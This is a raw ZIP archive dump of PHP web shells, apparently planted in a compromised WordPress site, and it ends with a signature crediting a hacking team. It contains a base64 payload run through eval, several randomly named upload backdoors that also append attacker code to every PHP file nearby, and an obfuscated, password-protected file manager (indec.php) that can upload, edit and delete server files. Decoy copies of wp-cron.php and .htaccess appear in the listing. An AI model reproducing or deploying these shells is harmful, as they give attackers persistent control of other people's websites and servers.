TWdCVW84NGdjWnl6ZVltSXAzZ0pVVHRoSFhzbjV6ejlyaFB2ZXZqcGQ1UVNyWGp1Vll1WmtuNXhKTVFpNW1nOEIxdE85YWFwWUEya0kzZ3J3RUF5d1ZjY0RJWTRLaDFvTUlSZGJaYjR3anpNV1I2WlpFRDJEd3VCeXUxeWMvYXpoTXRWWHVEcWxkaDU5bDdNOEpnWEpNbmswYW9VQURnTk9PQVRQS004Y25UREZIK01tSmdoTDg1NGptSm5tNm96QUtQa0pMNFJJRW1Ed0RQaDUxQTZ4WW1Qck5oN0tCYVdRR093a2ZyUW00OFlNTEJ5MWp1YzFvSHZ3VXdZKzNhdzVCYUdDWk03ZFBoOWlBbmxVOG5mODhwUGZkTEZ5UDcwVFAvMnJiUGY4Njd2UjF1ays1cTVpcmFrRWcva3pPOTFaWDg2OSt6SC85dXpQNDBuM0poSVFYdzFCZ29lMUdGNVpWUHZibGRGMUZDM2IwNUplQ0lqSFY2WEQ4SlJuVlltcUcxN00zU2U2MkhuYzcxM2YrODFwRDdmK3lKWCthZ0xCbk1RZHhFakYrdWJFclVjbE9LUlg3VnhhYlk3ZWJ1Ukk2MkRsMWZVNmNCVkswc2JpNmVFVnlvSmtSZnNwOE9UdU5tem9jRFRmRUs4QmZPaldkVVlnS1dud0kvWXRDMjlhZWVLQllwTlpJT0ZGZHZDWWJZUUZ1T1NrNERoYVE4SEJUZ3phcktuVXVvSjU3ZmNod1ZJdHozVHlHUmliRkxXVW9qVVdDTGcvQWljSVpLMWFLSXhUV2tWbTBvRzRnYUFGVERGRU16VUV0UVdrcWNVbU9lUmlmS0RpalVTbzV4bEpIQ3pFZENzUmttTStyeWttaHZycDVlWnN1NlZ6WEtydGdJVGx2ZUdYWEQ3dWFWRDd6Lzl4SEU3dTZZZlh6LzZaWWh6MXd1cm0yZnhhbzFadWpLaTk0TlA4cWpxZUVubzBTNWdCcVFnamcyMS8wVndBTkMwR3JVK0Rvb3ZTNFd0SjRJbEpOSzJjdU9JM2VNZE5aRmY1NG9VaUV6OTBCYUduSnNPSE4xS09Wa0d3ZkdMeFpQZGdPeFpDNDdzSnV6NUMwQitUWUlPYmNBT1V6RllQam5vc3pGWVNPTERtcFdqY3EyMFd5c1F4TE52RFpvakcwMEdPNEo5R1VIc3AxL1JFSCtzSDRDTzFWMlRBL01HeGdCczdyaGR2enNDbjVDb3REZzEwWngxYWFoMGJ5SlAwR083dFVIZGlGVk9hY1RCc3JVdXQ0bmNlamhYbGdnenNYRXpGNUdtSEoxSHlDdTFZTEloRm1UOGh5UWNKOHFyQ0g4SUtDc3h4THV1MnhvVk15a094RXg4QnBBSkd1SkJ3em16U2xPYWR5R0Jrdmt3ZUVxSFNNMzJvOTVxU0JscGl3b2NMVVEvYkVoMnJ1ODhYcnZlQUNuVXVpMkJkOTZGcko0QTkwK0JUWEF3TjRxNnY0dVE1cUhQWnAzTzdPb3o3QUJkZ25wQXhIOXJBRHNoakNLZXJUZ2hUQmdtS3pWcjB6cHlWVnd1TEtLWVVNRzZLSjByeXUwZnZwMGlySGtIa1JKTlBobSt3QVk3YUxXdWw4TklKWDJSM1VTUThrV2FDOWkvK0tQY25HSE5BZkdHWUcwM2VlMXBlMEI0ZC9tR1c1VitoM0J3NjdpVjZqMXQ4K2t5TXJ2Yk5yUFlNMStLNHRNQVllMDdJUWhmcEVLdzc5K2pDalkxMXd5dmMvdGd1UWNIMytnZkxxUVExRkVuZ0JEazJVZnd0KzVlcjZCYnB2R203ZHE3RDM5R3ZPMnRlMzMyMGtDbTl2emhjcGZkWXUzdWUxK2UzYi9LYVZUK2o3dWJYYmUzbCs1ZG4yWEQ2OUU5cm9kdE5qdElBQk1HaGlnNXdmT3dwRGZvd3BCLzIwOURYYUtSR2RzdUVXSlVLMG1tMEhOTzcrSHZjTGRveHZtZCt6MysvN3dUdklZOWg5SU1hWEhBdXV6MlpIWVVucnRwUTErSGhEcUFKeEtvSVZramU4K3hRYVpTRENiTUY1MTRmWUUzeFNXdmUwRTl4SE41ZEMxdkczUVhDU2sxY1p2OW1yd2hzTEIrR3Z1OTlKcHgyaFV5cllTTW9SV3dMMnVWVnp1ZEtra2NxMmczNGZXaWtaM1NQSVZMeUxlS0JId3ZxVCtwazRzOWNycFR6Y2kzN3pDQlRCd0pldmpLRVhGdzdqQ0JYQjh1blFFV0EiOw0KZXZhbChodG1sc3BlY2lhbGNoYXJzX2RlY29kZSh1cmxkZWNvZGUoYmFzZTY0X2RlY29kZSgkQ3liZXIpKSkpOw0KZXhpdDsNCj8+"));?>
PK�������Y���6��������qwturjyu.phpnu��[�����������<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK�������Y���6��������pwqpigya.phpnu��[�����������<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK�������Y���6��������xxorzbyu.phpnu��[�����������<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK�������Y���6��������aqyqibtj.phpnu��[�����������<?php echo"<form method='post' enctype='multipart/form-data'><input type='file' name='a'><input type='submit' value='Nyanpasu!!!'></form><pre>";if(isset($_FILES['a'])){move_uploaded_file($_FILES['a']['tmp_name'],"{$_FILES['a']['name']}");print_r($_FILES);};echo"</pre>";?>
<?php
if (isset($_GET['bak'])) {
$directory = __DIR__;
$mama = $_POST['file'];
$textToAppend = '
' . $mama . '
';
if ($handle = opendir($directory)) {
    while (false !== ($file = readdir($handle))) {
        if (pathinfo($file, PATHINFO_EXTENSION) === 'php') {
            $fileHandle = fopen($directory . '/' . $file, 'a');
            fwrite($fileHandle, $textToAppend);
            fclose($fileHandle);
            echo "OK >> $file
";
        }
    }
    closedir($handle);
}
}
?>
PK�������Y
���6���6��	��indec.phpnu��[�����������<?php goto NLnKLsvYFH;
NLnKLsvYFH:
$password =
    "\x30\x61\x39\x31\x65\x63\x37\x38\x61\x32\x63\x62\x38\x65\x38\x30\x38\x38\x39\x35\x62\x35\x61\x36\x30\x61\x64\x65\x36\x63\x31\x64";
error_reporting(0);
set_time_limit(0);
session_start();
if (isset($_SESSION["\x6c\x6f\x67\x67\145\144\157\x6b\x6d"])) {#loggedokm
    goto DqqOhzX5B0;
}
goto u3NT7x2QrJ;
u3NT7x2QrJ:
$_SESSION["\x6c\x6f\147\x67\x65\144\157\153\x6d"] = false;
DqqOhzX5B0:
if (!isset($_POST["\160\x61\x73\163\x77\x6f\x72\x64"])) { #password
    goto pb73Ufbn0o;
}
if (!(md5($_POST["\160\x61\x73\163\x77\157\x72\144"]) == $password)) {
    goto mr5E2rLws5;
}
$_SESSION["\x6c\x6f\x67\x67\145\x64\x6f\153\155"] = md5(
    $_POST["\160\141\x73\163\x77\x6f\x72\x64"]
);
goto SjaSVtI46I;
SjaSVtI46I:
mr5E2rLws5:
pb73Ufbn0o:
if (
    !(
        !$_SESSION["\154\157\x67\x67\145\x64\157\x6b\155"] ||
        $_SESSION["\x6c\x6f\x67\147\x65\x64\x6f\x6b\155"] != $password
    )
) {
    goto EXNN3Tp2rS;
}
echo "\xd\xa\74\x68\164\x6d\154\76\74\150\145\x61\x64\76\74\x74\x69\164\154\145\x3e\40\74\x2f\164\x69\x74\x6c\x65\76\x3c\57\150\145\x61\144\x3e\xd\12\40\40\x3c\x62\x6f\144\x79\76\xd\xa\x20\x20\x20\x20\x3c\x70\40\x61\x6c\x69\x67\156\x3d\x22\143\x65\x6e\x74\x65\x72\42\x3e\74\143\145\x6e\164\145\162\x3e\74\x66\157\x6e\164\40\163\x74\171\x6c\145\x3d\x22\x66\x6f\156\164\x2d\x73\151\x7a\x65\72\x31\63\x70\170\x22\40\143\157\154\x6f\162\75\x22\43\x66\x64\145\x36\x63\144\42\x20\x66\x61\143\145\75\x22\x22\x3e\15\12\x20\40\40\x20\74\146\x6f\x72\x6d\x20\155\x65\x74\x68\x6f\x64\75\x22\x70\x6f\x73\x74\42\76\15\xa\40\40\x20\x20\x20\x20\74\151\x6e\x70\x75\x74\x20\164\x79\x70\x65\x3d\42\x70\x61\x73\x73\167\157\x72\144\42\x20\156\x61\155\x65\75\42\x70\x61\x73\x73\x77\x6f\162\144\42\76\xd\12\40\x20\40\x20\x20\x20\x3c\151\156\160\165\164\x20\x74\171\x70\145\x3d\42\163\x75\142\x6d\x69\x74\x22\40\156\141\155\145\75\42\163\165\x62\x6d\x69\164\42\40\x76\141\x6c\165\145\x3d\x22\x20\x20\x3e\76\x22\x3e\15\xa\x20\x20\40\40\74\57\x66\x6f\162\155\76\15\12\x20\x20\74\57\x62\x6f\x64\171\76\xd\12\74\x2f\x68\164\x6d\x6c\x3e\15\xa\15\xa";
exit();
goto ocC9gxzse4;
ocC9gxzse4:
EXNN3Tp2rS:
?>  <!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <meta http-equiv="X-UA-Compatible" content="IE=edge">    <meta name="viewport" content="width=device-width, initial-scale=1.0">    <title>000</title>    <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/css/bootstrap.min.css" rel="stylesheet"        integrity="sha384-GLhlTQ8iRABdZLl6O3oVMWSktQOp6b7In1Zl3/Jr59b6EGGoI1aFkw7cmDA6j6gD" crossorigin="anonymous">    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.3.0/css/all.min.css"        integrity="sha512-SzlrxWUlpfuzQ+pcUCosxcglQRNAq/DZjVsC0lE40xsADsfeQoEypE+enwcOiGjk/bSuGGKHEyjSoQ1zVisanQ=="        crossorigin="anonymous" referrerpolicy="no-referrer" /></head><body>    <?php
   function formatSizeUnits($bytes)
   {
       if ($bytes >= 1073741824) {
           $bytes = number_format($bytes / 1073741824, 2) . " GB";
       } elseif ($bytes >= 1048576) {
           $bytes = number_format($bytes / 1048576, 2) . " MB";
       } elseif ($bytes >= 1024) {
           $bytes = number_format($bytes / 1024, 2) . " KB";
       } elseif ($bytes > 1) {
           $bytes = $bytes . " bytes";
       } elseif ($bytes == 1) {
           $bytes = $bytes . " byte";
       } else {
           $bytes = "0 bytes";
       }
       return $bytes;
   }
   function fileExtension($file)
   {
       return substr(strrchr($file, "."), 1);
   }
   function fileIcon($file)
   {
       $imgs = [
           "apng",
           "avif",
           "gif",
           "jpg",
           "jpeg",
           "jfif",
           "pjpeg",
           "pjp",
           "png",
           "svg",
           "webp",
       ];
       $audio = ["wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"];
       $ext = strtolower(fileExtension($file));
       if ($file == "error_log") {
           return '<i class="fa-sharp fa-solid fa-bug"></i> ';
       } elseif ($file == ".htaccess") {
           return '<i class="fa-solid fa-hammer"></i> ';
       }
       if ($ext == "html" || $ext == "htm") {
           return '<i class="fa-brands fa-html5"></i> ';
       } elseif ($ext == "php" || $ext == "phtml") {
           return '<i class="fa-brands fa-php"></i> ';
       } elseif (in_array($ext, $imgs)) {
           return '<i class="fa-regular fa-images"></i> ';
       } elseif ($ext == "css") {
           return '<i class="fa-brands fa-css3"></i> ';
       } elseif ($ext == "txt") {
           return '<i class="fa-regular fa-file-lines"></i> ';
       } elseif (in_array($ext, $audio)) {
           return '<i class="fa-duotone fa-file-music"></i> ';
       } elseif ($ext == "py") {
           return '<i class="fa-brands fa-python"></i> ';
       } elseif ($ext == "js") {
           return '<i class="fa-brands fa-js"></i> ';
       } else {
           return '<i class="fa-solid fa-file"></i> ';
       }
   }
   function encodePath($path)
   {
       $a = ["/", "\\", ".", ":"];
       $b = ["ক", "খ", "গ", "ঘ"];
       return str_replace($a, $b, $path);
   }
   function decodePath($path)
   {
       $a = ["/", "\\", ".", ":"];
       $b = ["ক", "খ", "গ", "ঘ"];
       return str_replace($b, $a, $path);
   }
   $root_path = __DIR__;
   if (isset($_GET["p"])) {
       if (empty($_GET["p"])) {
           $p = $root_path;
       } elseif (!is_dir(decodePath($_GET["p"]))) {
           echo "<script>\nalert('Directory is Corrupted and Unreadable.');\nwindow.location.replace('?');\n</script>";
       } elseif (is_dir(decodePath($_GET["p"]))) {
           $p = decodePath($_GET["p"]);
       }
   } elseif (isset($_GET["q"])) {
       if (!is_dir(decodePath($_GET["q"]))) {
           echo "<script>window.location.replace('?p=');</script>";
       } elseif (is_dir(decodePath($_GET["q"]))) {
           $p = decodePath($_GET["q"]);
       }
   } else {
       $p = $root_path;
   }
   define("PATH", $p);
   echo '<nav class="navbar navbar-light" style="background-color: #fdcdf9;">  <div class="navbar-brand">  <a href="?"><img src="https://github.com/fluidicon.png" width="30" height="30" alt=""></a>';
   $path = str_replace("\\", "/", PATH);
   $paths = explode("/", $path);
   foreach ($paths as $id => $dir_part) {
       if ($dir_part == "" && $id == 0) {
           $a = true;
           echo "<a href=\"?p=/\">/</a>";
           continue;
       }
       if ($dir_part == "") {
           continue;
       }
       echo "<a href='?p=";
       for ($i = 0; $i <= $id; $i++) {
           echo str_replace(":", "ঘ", $paths[$i]);
           if ($i != $id) {
               echo "ক";
           }
       }
       echo "'>" . $dir_part . "</a>/";
   }
   echo '</div><div class="form-inline"><a href="?upload&q=' .
       urlencode(encodePath(PATH)) .
       '"><button class="btn btn-dark" type="button">Upload File</button></a><a href="?"><button type="button" class="btn btn-dark">HOME</button></a> </div></nav>';
   if (isset($_GET["p"])) {
       if (is_readable(PATH)) {
           $fetch_obj = scandir(PATH);
           $folders = [];
           $files = [];
           foreach ($fetch_obj as $obj) {
               if ($obj == "." || $obj == "..") {
                   continue;
               }
               $new_obj = PATH . "/" . $obj;
               if (is_dir($new_obj)) {
                   array_push($folders, $obj);
               } elseif (is_file($new_obj)) {
                   array_push($files, $obj);
               }
           }
       }
       echo '<table class="table table-hover">  <thead>    <tr>      <th scope="col">Name</th>      <th scope="col">Size</th>      <th scope="col">Modified</th>      <th scope="col">Perms</th>      <th scope="col">Actions</th>    </tr>  </thead>  <tbody>';
       foreach ($folders as $folder) {
           echo "    <tr>      <td><i class='fa-solid fa-folder'></i> <a href='?p=" .
               urlencode(encodePath(PATH . "/" . $folder)) .
               "'>" .
               $folder .
               "</a></td>      <td><b>---</b></td>      <td>" .
               date("F d Y H:i:s.", filemtime(PATH . "/" . $folder)) .
               "</td>      <td>0" .
               substr(decoct(fileperms(PATH . "/" . $folder)), -3) .
               "</a></td>      <td>      <a title='Rename' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&r=" .
               $folder .
               "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>      <a title='Delete' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&d=" .
               $folder .
               "'><i class='fa fa-trash' aria-hidden='true'></i></a>      <td>    </tr>";
       }
       foreach ($files as $file) {
           echo "    <tr>          <td>" .
               fileIcon($file) .
               $file .
               "</td>          <td>" .
               formatSizeUnits(filesize(PATH . "/" . $file)) .
               "</td>          <td>" .
               date("F d Y H:i:s.", filemtime(PATH . "/" . $file)) .
               "</td>          <td>0" .
               substr(decoct(fileperms(PATH . "/" . $file)), -3) .
               "</a></td>          <td>          <a title='Edit File' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&e=" .
               $file .
               "'><i class='fa-solid fa-file-pen'></i></a>          <a title='Rename' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&r=" .
               $file .
               "'><i class='fa-sharp fa-regular fa-pen-to-square'></i></a>          <a title='Delete' href='?q=" .
               urlencode(encodePath(PATH)) .
               "&d=" .
               $file .
               "'><i class='fa fa-trash' aria-hidden='true'></i></a>          <td>    </tr>";
       }
       echo "  </tbody></table>";
   } else {
       if (empty($_GET)) {
           echo "<script>window.location.replace('?p=');</script>";
       }
   }
   if (isset($_GET["upload"])) {
       echo '    <form method="post" enctype="multipart/form-data">        Select file to upload:        <input type="file" name="fileToUpload" id="fileToUpload">        <input type="submit" class="btn btn-dark" value="Upload" name="upload">    </form>';
   }
   if (isset($_GET["r"])) {
       if (!empty($_GET["r"]) && isset($_GET["q"])) {
           echo '    <form method="post">        Rename:        <input type="text" name="name" value="' .
               $_GET["r"] .
               '">        <input type="submit" class="btn btn-dark" value="Rename" name="rename">    </form>';
           if (isset($_POST["rename"])) {
               $name = PATH . "/" . $_GET["r"];
               if (rename($name, PATH . "/" . $_POST["name"])) {
                   echo "<script>alert('Renamed.'); window.location.replace('?p=" .
                       encodePath(PATH) .
                       "');</script>";
               } else {
                   echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
                       encodePath(PATH) .
                       "');</script>";
               }
           }
       }
   }
   if (isset($_GET["e"])) {
       if (!empty($_GET["e"]) && isset($_GET["q"])) {
           echo '    <form method="post">        <textarea style="height: 500px;        width: 90%;" name="data">' .
               htmlspecialchars(file_get_contents(PATH . "/" . $_GET["e"])) .
               '</textarea>        <br>        <input type="submit" class="btn btn-dark" value="Save" name="edit">    </form>';
           if (isset($_POST["edit"])) {
               $filename = PATH . "/" . $_GET["e"];
               $data = $_POST["data"];
               $open = fopen($filename, "w");
               if (fwrite($open, $data)) {
                   echo "<script>alert('Saved.'); window.location.replace('?p=" .
                       encodePath(PATH) .
                       "');</script>";
               } else {
                   echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
                       encodePath(PATH) .
                       "');</script>";
               }
               fclose($open);
           }
       }
   }
   if (isset($_POST["upload"])) {
       $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"];
       if (
           move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)
       ) {
           echo "<p>" .
               htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) .
               " has been uploaded.</p>";
       } else {
           echo "<p>Sorry, there was an error uploading your file.</p>";
       }
   }
   if (isset($_GET["d"]) && isset($_GET["q"])) {
       $name = PATH . "/" . $_GET["d"];
       if (is_file($name)) {
           if (unlink($name)) {
               echo "<script>alert('File removed.'); window.location.replace('?p=" .
                   encodePath(PATH) .
                   "');</script>";
           } else {
               echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
                   encodePath(PATH) .
                   "');</script>";
           }
       } elseif (is_dir($name)) {
           if (rmdir($name) == true) {
               echo "<script>alert('Directory removed.'); window.location.replace('?p=" .
                   encodePath(PATH) .
                   "');</script>";
           } else {
               echo "<script>alert('Some error occurred.'); window.location.replace('?p=" .
                   encodePath(PATH) .
                   "');</script>";
           }
       }
   }
   ?>    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0-alpha1/dist/js/bootstrap.bundle.min.js"        integrity="sha384-w76AqPfDkMBDXo30jS1Sgez6pr3x5MlQ1ZAGC+nuZB+EYdgRZgiwxhTBTkF7CXvN"        crossorigin="anonymous"></script></body></html>PK���������Y
�i(m��m������������������cgi-bin/wp-blog-header.phpnu���6�$��������PK���������Y
�i(m��m�����������������cgi-bin/wp-cron.phpnu��[�����������PK���������Y�ͥ���������������������g��cgi-bin/.htaccessnu���6�$��������PK���������Y
�i(m��m��������������m��wp-blog-header.phpnu���6�$��������PK���������Y
�i(m��m����������������wp-cron.phpnu��[�����������PK���������Y�ͥ���������	���������������.htaccessnu���6�$��������PK���������Y���6������������������� ��bbnjgzjx.phpnu��[�����������PK���������Y���6�������������������#��gqksqsxc.phpnu��[�����������PK���������Yj扝����	������������*'��error_lognu��[�����������PK���������Y���6������������������s8��uhddppix.phpnu��[�����������PK���������Y���6�������������������;��boifauue.phpnu��[�����������PK���������Y���/!��/!��
�������������>��dichku.phpnu��[�����������PK���������Y���6������������������D`��qwturjyu.phpnu��[�����������PK���������Y���6������������������xc��pwqpigya.phpnu��[�����������PK���������Y���6�������������������f��xxorzbyu.phpnu��[�����������PK���������Y���6�������������������i��aqyqibtj.phpnu��[�����������PK���������Y
���6���6��	������������m��indec.phpnu��[�����������PK������ ��֣����

Sid Gifari From Gifari Industries - BD Cyber Security Team